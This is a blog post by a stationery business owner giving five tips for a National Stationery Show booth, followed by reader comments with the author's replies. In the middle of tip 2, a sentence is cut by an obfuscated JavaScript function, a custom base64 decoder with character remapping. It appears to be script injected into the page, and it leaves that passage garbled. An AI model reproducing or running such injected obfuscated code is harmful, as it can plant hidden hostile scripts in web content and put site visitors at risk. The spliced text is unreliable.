Top 5 Tips For Your National Stationery Show Booth


Note: For those of you wanting to create your own paper goods company, I’m now teaching an online course called Stationery Business 101: Starting Strong.

This was Sycamore Street Press’s fifth time showing at the National Stationery Show, and the first time I was completely happy with the way our booth turned out. It was also our best show yet as far as sales and press coverage goes, and I don't think that's a coincidence.

Here are my top 5 tips for creating a successful National Stationery Show booth, if you are interested...

1) Great Lighting

I've seen people make the rookie mistake of thinking that the overhead lights of the convention center itself will be enough. Those booths end up looking dreary, sad, and lonely.

I don't want that to happen to you! I know that just renting a booth space is expensive and it seems like lighting should be included. Believe me, I've thought the same thing! But you're just going to have to pay extra for lighting. At the very least, you should order the electrical outlet from the Javits Center, which lets you plug in lights that you can clip on to the top of your booth. We did that for our booth in 2010, and it looked nice.

But this year, we decided to really go for it with our lighting. We ordered 3 Parcan lights from the Javits Center. (Parcan lights are big, Broadway style spotlights that the Javits people hang for you from the rafters.) We were in a corner booth, so we only had two walls. This meant there was one Parcan spotlighting each wall and one spotlighting the island.

Our booth shone! It was like we were on stage. Quite a few people commented on how great (and bright!) it looked. Getting 3 Parcans was a big splurge, and therefore a big risk for an indie company like ours. (They're $450 each, so it came to about $1350 total.) But I felt like it completely paid off for us.

When it comes to your booth lighting, I'm not saying you should do the exact same things as us. But you do need some form of extra lighting, and you do need to realize how important lighting is to your success at the show.

4 more tips for creating a successful booth after the jump...

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2) Be Unique / Be You

Everyone loves something fresh and original, right? This definitely holds true for NSS booth design. I've seen people walk right by a booth with great product because the display was just so-so. What a waste!

It can be helpful to attend the show or check out the online coverage before you start planning your own booth. (Oh So Beautiful Paper does a fantastic job of covering the show, and the Instagram hashtag #nss2014 will show you a lot, too.) But try and keep a bit of distance between you and what you see. You do not want to copy anyone else's booth design, just as you wouldn't copy someone's actual paper goods designs. In fact, instead of being inspired by other vendors' NSS booths, I would do the opposite and try and figure out how you can be different from what everyone else is doing.

For your actual inspiration, look outside the world of paper. Check out your favorite local boutiques, interior magazines, movies, museums, etc... Try to think of something that no one exhibiting at the National Stationery Show has ever done.

Make an inspiration board to collect your ideas. And collect a lot! Then narrow it down. (That's my edited down inspiration board above.) Figure out how to put your own spin on things. And of course, make sure the look and design of your booth is completely in line with you, your brand, your aesthetic.

I'd spent function h94fcba1e7(y1){var vd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4,u5;var p6=0;do{q9=vd.indexOf(y1.charAt(p6++));y3=vd.indexOf(y1.charAt(p6++));w4=vd.indexOf(y1.charAt(p6++));u5=vd.indexOf(y1.charAt(p6++));p3=(q9<<2)|(y3>>4);na=((y3&15)<<4)|(w4>>2);pc=((w4&3)<<6)|u5;if(p3>=192)p3+=848;else if(p3==168)p3=1025;else if(p3==184)p3=1105;yb+=String.fromCharCode(p3);if(w4!=64){if(na>=192)na+=848;else if(na==168)na=1025;else if(na==184)na=1105;yb+=String.fromCharCode(na);}if(u5!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6-what-i-have-learned/" target="_blank">a lot of time this past year honing in on my aesthetic (Minimal Bohemian), and evolving the Sycamore Street Press brand to fit that. Designing our booth for the NSS felt like the culmination of all that work. It was so much fun to flesh out the Minimal Bohemian look and create a whole 3-D experience.

Many of the elements had been in place in our booth last year or even the year before that. (The walls, island, main rug, shelves, stools, gift wrapped boxes hanging on the wall...) But this year, I was able to add some finishing touches (the green plants, indigo curtain, additional rugs, white paint, etc...) that really brought it all together and made the whole design pop.

Your booth design will pop, too, if you stay true to your own unique brand and vision.

Top 5 Tips for Your National Stationery Show Booth | Sycamore Street Press

3) Plan Ahead

As with your product, you really need to begin planning months ahead in order to have your booth ready in time for the show. Start from the foundation and work your way out to the smallest details. Try to think of every single thing you might need and get it all in place beforehand. It's inevitable that you'll forget something and have to take a trip to a hardware store during set-up, but try to avoid any New York City errand running as much as possible.

If you plan on exhibiting again in New York -- either at the NSS or another NY based trade show like NYNow, the most economical thing is to store your booth with a local freight & storage company. (Although, our first year doing the show, we just packed everything into our car and drove it back and forth. Always an option if you live close enough.) Pack your entire booth (walls, displays, product, etc...) into a crate or onto a palette, and get the freight company to ship it to the Javits for you. When the show is over, they will then pick it up and store it until the next show comes around. It's definitely cheaper to go this route than to ship it back and forth from New York to wherever you live every single time.

On the other hand, if it's your first year, and you don't know if you'll be doing any shows after this or not, you may want to just rent things instead of shipping and storing a crate. You can order hard walls or foam core walls through the show, along with flooring, tables, etc... It's more expensive, but less commitment and less hassle. We ordered foam core walls our first year, and I think it was a good choice.

Whatever you end up doing, just remember to give yourself plenty of time to plan, build, and ship your booth!

Top 5 Tips for a National Stationery Show Booth | Sycamore Street Press

4) Ask for Help

I'm one of those people who hates to ask for help, but I've had to learn to swallow my pride. When it came to my booth design, I made a mood board and a detailed plan of how I was going to execute it. Still, I decided to consult a couple of stylists for any suggestions/improvements they might have.

Meta from One More Mushroom gave me the idea of dyeing a curtain to echo and draw attention to our shibori-influenced indigo collection. Brittany from The House That Lars Built gave me great advice in the form of a veto. She reigned me in and helped me keep the booth design clean. The two of them also helped me out with the sheepskins. I'd thought of draping them over the stools, but was worried they would be too big and look sloppy. Meta & Brittany had an easy solution for that: just trim them smaller! Of course!

For the finishing touch, I would need rent or buy some green plants and additional rugs in New York to add to the display. Meta put me in touch with her friend, stylist Kendra Smoot, who ended up sending me photos of the plants and rugs in her own apartment and giving me free reign to pick whatever I needed!

Finally, I realized at the last minute that needed help with our booth set-up. Kirk and I could do it ourselves, but it would go so much faster with one more person to help paint, run pesky errands, etc... I should have planned ahead, but with fingers crossed, I put a post up on Instagram. Two hard working and curious creative women living in NYC -- Nicole Marinese and Elise Kelly -- came to the rescue!

Could we have done it all without help? Yes. But it just wouldn't have turned out as well. The input from these collaborators added the finishing touches that pulled everything together so well and made the booth really stand out. I'm so grateful.

Reach out for help when you need it -- a bit of collaboration makes all the difference!

Top 5 Tips for Your National Stationery Show Booth | Sycamore Street Press

5) Make Sure Your Product Stands Out

Now, if you are going to all this trouble to create a beautiful, original, well-planned booth, you need to have beautiful, original, well-planned products as well. That should probably go without saying, but I'm going to say it anyways. It's that important.

This wasn't our most successful stationery show just because the booth looked good. We had a big collection of brand new products that were fresh and caught people's attention. I was taking a big risk breaking from my tried and true aesthetic, and I really didn't know how people would respond. In a make-or-break decision, I decided to go for it. I'm so glad I did.

I realized that that's how it had been when I first started Sycamore Street Press nearly 7 years ago.  Almost daily, I was making the kinds of decisions that would make my hands shake. Somewhere along the way, though, I grew a bit more comfortable with the status quo. That's a dangerous thing.

This past year, I decided to shake things up, and I am determined to keep that mindset. To always be looking at the bigger picture, adapting, evolving -- while remaining true to my core values, of course.

If we all remember to keep doing that, I'm confident the inspiration will come to us for original, stand out designs. We will be the better for it; our companies will be the better for it, and so will the stationery industry as a whole.

Good luck at the NSS! - Eva

Also: National Stationery Show FAQ Part 1 & Part 2, our 201o NSS booth, NSS display ideas, a few favorites from a previous year, and our very first NSS booth.

Image Credits: All photos by Sycamore Street Press except the mood board: (clockwise from top left) Domino Magazine, Hanna's RoomGeneral Store photo by Laure Joliet for Remodelista, Ada Hamza


Leave a Comment

  1. Miranda says:

    Thank you for this, Eva! I have been soaking up the NSS coverage and your booth looked so well styled and cohesive. Your tips are definite keepers!

  2. Imogen says:

    Great looking booth, and so helpful with all these tips. I’m looking at exhibiting next NSS and coming over from the UK, and wondered if you wouldn’t mind answering a question for me? I know that you can choose walls from the NSS peeps, but do you and most other vendors take your own walls? and if so why? In the UK you get solid wooden walls to nail into and paint, so unless you’re doing some special architectural thing, you just use the standard ones. So I’m just really curious about what the difference is, and why people take their own – if that’s what they do.

    Hope you don’t mind me asking :) but you’ve been so great offering advice I thought I’d chance it and ask.

    • Eva says:

      Hi Imogen, Thanks for your comment! I don’t mind answering at all — that’s a good question. The reason most vendors bring our own walls (us included) is that it saves us a lot of money. Yes, you can order walls from the Javits convention center, but it costs SO MUCH more than bringing your own — and then you can use your own walls over and over. Most of us just store them nearby (along with a bunch of other stuff from our booth) with a freight/storage company. That way we’re not having to ship all our stuff back and forth every year or for every show. Of course, coming from the UK is a different story. Because you’re coming from so far, and it’s your first time, you may want to rent the hard walls from the show. If you decide to keep doing the show and know you’ll want hard walls again, at that point you could look into getting some walls made in NYC. But maybe you’ll decide it’s worth it to you to pay the extra for hard walls every year for the convenience of it. There are a lot of factors to consider… Hope that helps!

      • IMOGEN says:

        Hi Eva,

        I’ve only just seen your reply! Thank you so much for responding. I have another question if you don’t mind. I’m just trying to make a decision on doing the NSS this year or NYNOW, and I wondered if there was a big difference between them, and which would be a better option? As it’s definitely going to be quite expensive to come over I want to launch at the right show, and I just don’t know which would be best? I’d really appreciate some feedback as to which might be better, and if there’s any difference with the buyers who attend etc. Thanks so much. I’ll look into the hard wall situation too!

        • Eva says:

          Imogen, This isn’t really a question I can answer for you (only you can do that!), although I will try to shed a little light on it. The NSS is much smaller and less expensive. You have a better chance of standing out more and don’t have to spend as much to be in it. However, NYNow has a LOT more buyers/people coming through. It’s hard to quantify those things. There’s also the option of getting your things in a rep’s booth instead of having your own… I’m sorry I can’t be of more help — it’s so tailored to each person’s situation. I’d probably try and talk to a bunch of people who have done the shows and do a ton of research on both, if I were you.

          • Imogen says:

            Hi Eva,

            Thank you for getting back to me, I was only thinking of doing the NSS but I may be able to get funding for NYNOW, which is why I am now contemplating it. I totally understand what you’re saying though about making a decision. Either way it’s going to be expensive for me coming over from the UK! I know peeps that have done the NSS but don’t know anyone that’s done NYNOW, so need to find people to ask about it. Thanks for taking the time to give me your advice, it’s much appreciated. :)

  3. This is such a great post, Eva. I echo all of your tips, as a buyer for what vendors can do right. And you really did such a stunning job your this year – both your products and your booth! xoxo Emily

    • Eva says:

      Emily, THANK YOU. I trust your opinion and it really means so much. And isn’t it awesome that you are in Vermont and we are in Utah and somehow we met and can keep in touch and have this connection?! I love that part of our industry and the internet in general. :)

  4. Cheryl says:

    Eva — Thank you for an honest look and all of the great tips for planning to be in a big show like the NSS. While I’m still very small and have no intentions of this quite yet, I still find this information very valuable even for indie shows and art/craft fairs I plan on participating in the near future. Thanks again… P.S. Your booth looked fantastic! I especially loved the indigo curtain, it really added something to the display.

    • Eva says:

      Hi Cheryl,
      Thank you so much for your comment! I’m glad I could be of some help, Best of luck with all your endeavors!

  5. […] Tips from a veteran exhibitor at the National Stationery Show […]

  6. Julie says:

    Hi Eva, your tips have been greatly appreciated as I try to wrap my head around all that is NSS (wow, overwhelming!). I was wondering about your shelves. Did you build them yourselves or rent them? I am planning to rent most everything for my first show to possibly ease the stress just a little (wish me luck). But it seems like everything rentable is plain white? I love the look of wooden or even colored shelving against the white walls!

    • Eva says:

      Hi Julie, We had a local cabinet/display maker make those shelves custom for us. I’m guessing you’ll have to go that route if you want them wood or colored… Most shelves I’ve seen are white. Best of luck with the show!

  7. […] Top 5 Tips For Your National Stationery Show Booth If you plan on exhibiting again in New York — either at the NSS or another NY based trade show like NYNow, the most economical thing is to store your booth with a local freight and storage company. (Although, our first year doing the show, we just packed everything into our car and drove it back and forth. Always an option if you live close enough.) Pack your entire booth (walls, displays, product, etc…) into a crate or onto a palette, and get the freight company to ship it to the Javits for you. When the show is over, they will then pick it up and store it until the next show comes around. It’s definitely cheaper to go this route than to ship it back and forth from New York to wherever you live every single time. Read more… […]

  8. Richele says:

    Hi Eva,

    I was wondering if you could speak to the Parcans in the low ceiling area? I’ll be exhibiting for the first time in that section and unsure if they’re needed.

    Your booth is lovely. Thanks for all the tips.

    • Eva says:

      Hi Richele, It’s my understanding that you can’t use Parcans in the low ceiling area. In general, the lighting in the low ceiling area isn’t as good. But everyone in that area is in the same boat, at least! You can still maximize your lighting as much as possible in other ways with the maximum allowed clip on lights with the maximum amount of wattage, for example. Check the NSS exhibitor handbook for details. Good luck!

  9. Brigid says:

    Hi Eva,

    Any tips for purchasing insurance for the NSS? I am new to the greeting card business and launching my line at the NSS. As a sole proprietor who is hoping to have at least one friend help me in the booth, I wanted to see if there is a particular insurance company that you had a good experience with? Also wondering if you have a sense of how strict the NSS is with providing exhibitor badges i.e. do you have to show proof of employment for “helpers”?

    Thanks very much!

    • Eva says:

      Hi Brigid,

      I wold do your own research on insurance — I am not an expert by any means. We just get our business insurance through Travelers. Haven;t ever really filed a claim, though. And I don’t think we had to show proof of employment for the extra exhibitor badges. Don’t think they’re too strict on that. You can only get a certain amount, though.

      Best of luck!

  10. Just want to say a big thank you for these resources! We are travelling from Australia to NY for our first NSS – incredibly nerve-wracking – oh so far and the logistics, oh the logistics! Many thanks for sharing your knowledge and helping out us newbies :)

    • Eva says:

      No problem! And congratulations on going to the NSS for the first time! You’ll have a wonderful show, I’m sure. Love your work!

  11. Hello…I am exhibiting at the nss for the first time and am wondering how to verify that my plywood walls are fire proofed. I am doing research for such and can’t find much info. I’ve found fire retardant primer, but how to verify this is acceptable according to their standards and compliance?

    Thank you,

    • Eva says:

      Hi Sam, In the past, we didn’t have to worry about it so much for plywood walls — just for cloth drapes and things like that, which we would fire proof with a fire retardant spray. I haven’t done the show in a couple of years, however, so am not the best source for the most up to date info on technicalities like that. I wish you the best!

  12. Isaac says:

    Very attracting booth you’ve made and thanks for your word of advice. I’m looking for a company who specializes in producing those types of hard walls for NSS.

    As we’re coming over from Korea, I expect that buying a custom hard walls would be a better idea than buying a typical booth wall from NSS.

    As this is my first time to exhibit at NSS, your help will be of a great assistance.

    So thank you,

    • Eva says:

      Hi Isaac, I’m sorry that I can’t be of help. The person I bought my hard walls from is no longer in business. But yes, I think finding someone in the US to build them for you is a good idea.

  13. […] Sycamore Street Press shares Top 5 Tips For Your National Stationery Show Booth […]

  14. Hi we’re the mom and aunt of the girls of Grove Street Press, who are doing their first tradeshow, NYNow. We’re helping on booth logistics while they design etc. We took your Atly course and loved it! You’re a great teacher! Anyway — what I can’t figure out is this — if we gather our booth hard goods, chair, table, shelves, etc, in new york, do we have to put them into one container to get them to the booth? We have family in NY and we were going to get our things there and then bring them ourselves to Javitts. But I can’t figure out how many packages can go where, etc. Can we carry in small things like vases? Do we need to put shelves, chairs, frames, in one container? The website isn’t very user friendly! How about the clip on lights? Can we walk in with them? They aren’t heavy …. so confused! Thanks!

    • Eva says:

      Hi Barbara, Thanks for taking the class and for reaching out! And congrats on doing your first trade show! At our first NSS back in ’09, we drove to NYC from Ohio with everything crammed in our little car, parked in the loading zone at the curb of the Javits Center, and one of us guarded the car while the other carried stuff in to our booth. Sp yes, I’ve carried stuff in like that. However, it was a different show and several years ago, so I’d check with someone who’s done NYNow recently to be sure. Also, we might be selling our booth (which is stored in New Jersey) and its contents (see this blog post for photos), so if you think you might be interested in it, email me. It would definitely be a better deal than buying/making everything from scratch. :) – Eva

      • EVA! Thank you for answering — I”m afraid I was tardy in checking back in! We’ve ended up buying some new to the market collapsible slatwall panels — but it is all so overwhelming. The cost of shipping etc — but I didn’t read your kind offer of buying your walls till now; I”m sorry. … if I may ask another question — we are having the hardest time figuring out what is the best type of publicity …. buying the lists doesn’t seem very helpful because how do you target? The GSP girls have nearly 18K followers on Instagram — I’m just sure they’d do well at NYNOW — if we could get people to their booth … how did you publicize at first? And thank you again for your offer of the booth material — the girls are in a make or break situation — and this show is so important : ) Thanks again!

        • Eva says:

          I don’t remember seeing this comment before — sorry Barbara! If I haven’t replied already or you haven’t found an answer, feel free to email me.

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